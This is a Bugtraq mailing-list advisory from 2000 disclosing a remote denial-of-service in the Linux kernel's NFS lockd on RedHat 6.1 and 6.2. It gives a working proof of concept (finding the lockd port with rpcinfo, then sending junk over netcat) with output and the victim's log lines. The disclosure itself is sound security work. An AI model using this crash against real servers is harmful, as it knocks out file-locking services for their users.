Date:         Thu, 8 Jun 2000 15:38:42 -0400
From: mmurray@FSCINTERNET.COM
Subject:      Remote DOS in linux rpc.lockd
To: BUGTRAQ@SECURITYFOCUS.COM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hello, all...

        Found what appears to be a remote DOS in the linux kernel code for NFS
lockd.  Only requires a restart of the service, but the port stays bound (in a
iclose_wait) state for what appears to be an indefinite time.  I have only
tested this in RedHat 6.1 and 6.2 (that is, kernel 2.2.12 and 2.2.14), but I
see no reason why it will not be present in other configurations of both the
same kernel (and likely earlier kernels).
The proof of concept is really simple: If you have port access (i.e. you are
able to send packets to whatever port rpc.lockd is running on) to a Redhat 6.2
machine running rpc.lockd (enabled by the default install), you can forcibly
stop rpc.lockd from responding on that machine.
        The lockd crashes whenever any malformed request is issued to it over
its tcp channel; thus, if you simply connect to the tcp port that lockd is
listening on, and hit 'return', and log out, you will have crashed lockd.

        As an example, from a root prompt on my laptop, I issued the following
(where "target" is a machine running a fresh install of RH 6.2 up2date):

[root@hiro /]# rpcinfo -p target
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100021    1   udp   1024  nlockmgr
    100021    3   udp   1024  nlockmgr
    100021    1   tcp   1024  nlockmgr
    100021    3   tcp   1024  nlockmgr
    100024    1   udp    831  status
    100024    1   tcp    833  status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
        Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp    831  status
    100024    1   tcp    833  status
[root@hiro /]#

        In the victim's /var/log/messages, the following message was written:
June  7 15:07:48 target kernel: RPC: bad TCP reclen 616c6b73<4>lockd:
terminating on error 5
June  7 15:07:48 target kernel: svc: server socket destroy delayed (sk_inuse: 1)

        As well, even with a restart of lockd, the original port (1024) isn't
ever freed (it stays in CLOSE_WAIT) as far as I can tell (although I'm about to
go out for lunch, return, and check then).

        As you can see, the service is no longer present after the port has
been connected to.

                        Mike



____________________________________
Mike Murray
Internetworking Specialist / Blueshirt Developer

Apt 1402
666 Spadina Ave
Toronto, Ont
M5S 2H8

Email:  Mike.Murray@utoronto.ca /
          orestes@dorian.2y.net
Phone:  (416) 323-3160
___________________________________

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2

iQA/AwUBOT/2QLpfrcrUemrPEQIG1wCcDXrocTe7bG2ojfnOy2ObuUWvv0YAniFY
SLLeY1DuNtYSiOSrpCedba2w
=AafA
-----END PGP SIGNATURE-----